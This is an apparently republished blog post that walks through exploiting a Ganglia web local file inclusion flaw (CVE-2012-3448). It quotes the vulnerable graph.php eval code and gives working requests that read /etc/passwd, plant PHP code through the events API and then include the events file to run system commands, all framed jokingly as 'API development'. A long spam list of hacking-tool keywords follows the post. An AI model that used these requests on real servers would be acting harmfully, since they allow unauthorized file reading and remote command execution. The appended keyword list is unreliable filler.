http://console-cowboys.blogspot.com/2012/01/ganglia-monitoring-system-lfi.html
I recently grabbed the latest version of the Ganglia web application to take a look to see if this issue has been fixed and I was pleasantly surprised... github is over here -
https://github.com/ganglia/ganglia-web
Looking at the code the following (abbreviated "graph.php") sequence can be found -
$graph = isset($_GET["g"]) ? sanitize ( $_GET["g"] ) : "metric";
....
$graph_arguments = NULL;
$pos = strpos($graph, ",");
$graph_arguments = substr($graph, $pos + 1);
....
eval('$graph_function($rrdtool_graph,' . $graph_arguments . ');');
I can only guess that this previous snippet of code was meant to be used as some sort of API put in place for remote developers, unfortunately it is slightly broken. For some reason when this API was being developed part of its interface was wrapped in the following function -
function sanitize ( $string ) {
return escapeshellcmd( clean_string( rawurldecode( $string ) ) ) ;
}
According the the PHP documentation -
Following characters are preceded by a backslash: #&;`|*?~<>^()[]{}$\, \x0A and \xFF. ' and " are escaped only if they are not paired. In Windows, all these characters plus % are replaced by a space instead.
This limitation of the API means we cannot simply pass in a function like eval, exec, system, or use backticks to create our Ganglia extension. Our only option is to use PHP functions that do not require "(" or ")" a quick look at the available options (http://www.php.net/manual/en/reserved.keywords.php) it looks like "include" would work nicely. An example API request that would help with administrative reporting follows:
http://192.168.18.157/gang/graph.php?g=cpu_report,include+'/etc/passwd'
Very helpful, we can get a nice report with a list of current system users. Reporting like this is a nice feature but what we really would like to do is create a new extension that allows us to execute system commands on the Ganglia system. After a brief examination of the application it was found that we can leverage some other functionality of the application to finalize our Ganglia extension. The "events" page allows for a Ganglia user to configure events in the system, I am not exactly sure what type of events you would configure, but I hope that I am invited.
As you can see in the screen shot I have marked the "Event Summary" with "php here". When creating our API extension event we will fill in this event with the command we wish to run, see the following example request -
http://192.168.18.157/gang/api/events.php?action=add&summary=<%3fphp+echo+`whoami`%3b+%3f>&start_time=07/01/2012%2000:00%20&end_time=07/02/2012%2000:00%20&host_regex=
This request will set up an "event" that will let everyone know who you are, that would be the friendly thing to do when attending an event. We can now go ahead and wire up our API call to attend our newly created event. Since we know that Ganglia keeps track of all planned events in the following location "/var/lib/ganglia/conf/events.json" lets go ahead and include this file in our API call -
http://192.168.18.157/gang/graph.php?g=cpu_report,include+'/var/lib/ganglia/conf/events.json'
As you can see we have successfully made our API call and let everyone know at the "event" that our name is "www-data". From here I will leave the rest of the API development up to you. I hope this article will get you started on your Ganglia API development and you are able to implement whatever functionality your environment requires. Thanks for following along.
Update: This issue has been assigned CVE-2012-3448
Related word
- Hacker Tools For Ios
- Hacking Tools Usb
- Hacking Tools For Games
- Best Hacking Tools 2019
- Pentest Tools Alternative
- Bluetooth Hacking Tools Kali
- Pentest Tools Nmap
- Github Hacking Tools
- What Is Hacking Tools
- Hack Rom Tools
- Pentest Box Tools Download
- Hack App
- Kik Hack Tools
- Hacker Tools Apk
- Hack Tools Download
- Pentest Tools For Ubuntu
- Pentest Tools Linux
- Hacker Tools For Ios
- Hacking App
- Pentest Tools Port Scanner
- Hacking Tools Usb
- Hacking Tools 2019
- Pentest Tools List
- Hacker Tools
- Hacking Tools For Windows Free Download
- Hacker Tools Apk Download
- Hacks And Tools
- Hacker Security Tools
- Hack App
- Hack Tools Pc
- How To Hack
- Pentest Tools Tcp Port Scanner
- Hacks And Tools
- How To Install Pentest Tools In Ubuntu
- Pentest Tools Open Source
- Pentest Tools Review
- Github Hacking Tools
- Pentest Tools Linux
- Hacker Search Tools
- Pentest Tools Open Source
- New Hacker Tools
- Pentest Tools List
- Pentest Tools Subdomain
- Hacking Tools Github
- Computer Hacker
- Hack Tools
- How To Hack
- Hacks And Tools
- Growth Hacker Tools
- Hacking Tools For Windows
- Nsa Hack Tools Download
- Hacking Tools For Windows 7
- Hacking Tools Pc
- Hackrf Tools
- Hacker Tools 2020
- Hacking Tools For Windows
- What Is Hacking Tools
- Termux Hacking Tools 2019
- Nsa Hacker Tools
- Hacking Tools Online
- Hacking App
- Hackrf Tools
- Easy Hack Tools
- Hacking Tools For Pc
- Android Hack Tools Github
- Hack App
- Beginner Hacker Tools
- Pentest Tools Kali Linux
- Wifi Hacker Tools For Windows
- Pentest Tools Android
- Easy Hack Tools
- Pentest Tools For Mac
- Pentest Tools Kali Linux
- Kik Hack Tools
- Hacking Tools For Mac
- Pentest Tools Kali Linux
- Hacker Search Tools
- Hacker Tools Online
- Hacking Tools Usb
- Pentest Tools Framework
- Beginner Hacker Tools
- Pentest Tools Port Scanner
- Termux Hacking Tools 2019
- Pentest Tools
- Pentest Tools Online
- Hacking Tools Pc
- Growth Hacker Tools
- Best Hacking Tools 2020
- Pentest Tools Download
- Hacking Tools For Games
- Hacking Tools
- Pentest Tools Download
- Hack Tool Apk No Root
- Pentest Box Tools Download
- Hacking Apps
- Hackrf Tools
- Hacker Tools Apk
- Hacker Tools Linux
- Black Hat Hacker Tools
- Hacking Tools Free Download
- Easy Hack Tools
- Hacking Tools Github
- Hacker Hardware Tools
- Hacking Tools Usb
- Hack Tools Download
- Hacker Tools Online
- Hacker Tools Github
- Pentest Tools Github
- Hacking Tools Name
- Install Pentest Tools Ubuntu
- Hacking Tools And Software
- Hack Apps
- Hacking Tools Software
- Best Hacking Tools 2020
- Computer Hacker
- Hacking Tools Download
- Pentest Tools Android
- Hacking Tools Mac
- Free Pentest Tools For Windows
- Hacker Tools Software
- Black Hat Hacker Tools
- Pentest Tools Online
- Hack Tools Mac
- Hacker Techniques Tools And Incident Handling
- Top Pentest Tools
- Hacker Tools Apk
- Hacking Tools For Beginners
- Hacking Tools For Beginners
- Hack Website Online Tool
- Hacking Tools Free Download
- New Hack Tools
- Hack App
- Hacker Tools Online
- Hacking Tools 2019
- Pentest Tools Linux
- Hacking Tools For Mac
- Hacking Tools Windows
- Hack Tools Download
- Hacker Tools For Ios
- Hacking Tools For Beginners
- Hacker Tools
- Nsa Hack Tools
No hay comentarios:
Publicar un comentario